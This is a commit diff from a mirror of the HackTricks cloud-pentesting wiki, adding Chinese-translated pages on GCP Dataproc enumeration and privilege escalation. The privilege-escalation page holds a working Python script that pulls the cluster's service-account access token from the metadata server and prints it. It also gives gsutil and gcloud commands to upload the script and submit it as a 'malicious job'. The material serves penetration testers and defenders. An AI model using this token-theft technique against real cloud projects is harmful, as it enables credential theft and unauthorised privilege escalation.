mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataproc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataproc-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
我无法使用此方法获取反向 shell,但可以使用下面描述的方法从元数据端点泄露 SA 令牌。
|
||||
|
||||
#### 利用步骤
|
||||
|
||||
- 将作业脚本放置在 GCP Bucket 中
|
||||
|
||||
- 向 Dataproc 集群提交作业。
|
||||
|
||||
- 使用该作业访问元数据服务器。
|
||||
|
||||
- 泄露集群使用的服务账户令牌。
|
||||
```python
|
||||
import requests
|
||||
|
||||
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
headers = {"Metadata-Flavor": "Google"}
|
||||
|
||||
def fetch_metadata_token():
|
||||
try:
|
||||
response = requests.get(metadata_url, headers=headers, timeout=5)
|
||||
response.raise_for_status()
|
||||
token = response.json().get("access_token", "")
|
||||
print(f"Leaked Token: {token}")
|
||||
return token
|
||||
except Exception as e:
|
||||
print(f"Error fetching metadata token: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
|
||||
# Submit the malicious job
|
||||
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Dataproc Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Google Cloud Dataproc 是一个完全托管的服务,用于运行 Apache Spark、Apache Hadoop、Apache Flink 和其他大数据框架。它主要用于数据处理、查询、机器学习和流分析。Dataproc 使组织能够轻松创建用于分布式计算的集群,并与其他 Google Cloud Platform (GCP) 服务(如 Cloud Storage、BigQuery 和 Cloud Monitoring)无缝集成。
|
||||
|
||||
Dataproc 集群运行在虚拟机 (VM) 上,与这些 VM 关联的服务帐户决定了集群的权限和访问级别。
|
||||
|
||||
## 组件
|
||||
|
||||
Dataproc 集群通常包括:
|
||||
|
||||
主节点:管理集群资源并协调分布式任务。
|
||||
|
||||
工作节点:执行分布式任务。
|
||||
|
||||
服务帐户:处理 API 调用并访问其他 GCP 服务。
|
||||
|
||||
## 枚举
|
||||
|
||||
可以枚举 Dataproc 集群、作业和配置,以收集敏感信息,例如服务帐户、权限和潜在的错误配置。
|
||||
|
||||
### 集群枚举
|
||||
|
||||
要枚举 Dataproc 集群并检索其详细信息:
|
||||
```
|
||||
gcloud dataproc clusters list --region=<region>
|
||||
gcloud dataproc clusters describe <cluster-name> --region=<region>
|
||||
```
|
||||
### 作业枚举
|
||||
```
|
||||
gcloud dataproc jobs list --region=<region>
|
||||
gcloud dataproc jobs describe <job-id> --region=<region>
|
||||
```
|
||||
### 提权
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataproc-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user